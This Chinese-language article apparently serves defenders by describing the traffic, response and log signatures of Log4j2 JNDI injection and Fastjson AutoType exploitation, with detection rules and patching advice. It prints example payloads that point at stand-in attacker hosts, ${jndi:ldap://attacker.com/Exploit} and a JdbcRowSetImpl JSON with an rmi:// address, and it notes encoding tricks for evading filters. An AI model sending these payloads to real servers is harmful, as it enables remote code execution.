文章目录
- 一、Log4j2流量特征分析
- 1. 漏洞原理简述
- 2. 核心流量特征
- (1)请求特征
- (2)响应特征
- (3)日志特征
- 3.检测与防御建议
- 二、fastjson流量特征分析
- 1.漏洞原理简述
- 2.核心流量特征
- (1)请求特征
- (2)响应特征
- 3.检测与防御建议
一、Log4j2流量特征分析
攻击链:
Log4j2:恶意请求 → JNDI解析 → LDAP重定向 → 加载恶意类 → RCE
1. 漏洞原理简述
Log4j2漏洞(CVE-2021-44228)源于JNDI注入机制。当应用程序记录包含${jndi:ldap://attacker.com/Exploit}的恶意字符串时,Log4j2会解析该表达式并加载远程恶意类,导致**远程代码执行(RCE)。
2. 核心流量特征
(1)请求特征
- 协议标识符:
请求中出现jndi:ldap://、jndi:rmi://、jndi:dns://等协议关键字,常出现在HTTP头(如User-Agent、Referer)或URL参数中1,2,9。
示例:GET /search?q=${jndi:ldap://malicious.site/Exploit} HTTP/1.1 - **编码混淆** 攻击者使用URL编码(如`%6a%6e%64%69`代替`jndi`)或大小写转换(如`JnDi`)绕过基础检测。
(2)响应特征
- 异常堆栈信息
响应包中出现javax.naming.directory.InitialDirContext等JNDI相关类名,或JNDI lookup successful日志。 - 外联行为
成功利用后,服务器向攻击者控制的LDAP/RMI服务器发起连接,流量中可见非常规端口(如1389)的TCP请求。
(3)日志特征
- 高频异常记录
日志中频繁出现含JNDI字符串的异常条目(如${env:os.name}动态解析失败)。
3.检测与防御建议
| 检测手段 | 防御措施 |
|---|---|
正则匹配:\$\{.jndi:(ldap\|rmi).} | 升级至Log4j2 2.17.0+并移除JndiLookup类 |
| 监控非常规外联(如LDAP非默认端口) | 设置log4j2.formatMsgNoLookups=True |
| 分析异常堆栈中的JNDI类名 | 网络隔离:限制服务器对外访问权限 |
二、fastjson流量特征分析
攻击链:
Fastjson:恶意JSON → AutoType加载危险类 → JNDI注入/本地代码执行
1.漏洞原理简述
Fastjson漏洞由反序列化AutoType功能引发。攻击者构造含@type字段的JSON数据,指向危险类(如com.sun.rowset.JdbcRowSetImpl),触发JNDI注入或本地恶意代码执行。
2.核心流量特征
(1)请求特征
- JSON结构异常
必含@type字段,值指向高危类(如BasicDataSource、JdbcRowSetImpl)。
常见JSON结构不闭合(如缺少花括号)或含fastjson关键字。
示例:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/Exploit"} - 协议注入
请求体中嵌入ldap://、rmi://等协议地址,常伴随Base64编码。
(2)响应特征
- 错误状态码
响应状态码多为400 Bad Request或500 Internal Server Error,错误信息含fastjson、autoCommit等关键词。 - 无回显攻击痕迹
利用DNSLog平台时,响应包含dnslog.cn等域名;成功执行后可能返回"commit":true。
3.检测与防御建议
| 检测手段 | 防御措施 |
|---|---|
匹配JSON中的@type高危类名 | 升级Fastjson至1.2.83+并启用SafeMode |
| 监控DNSLog域名请求 | 配置WAF拦截含${、@type的请求 |
| 分析HTTP错误日志中的反序列化异常 | 禁用AutoType功能 |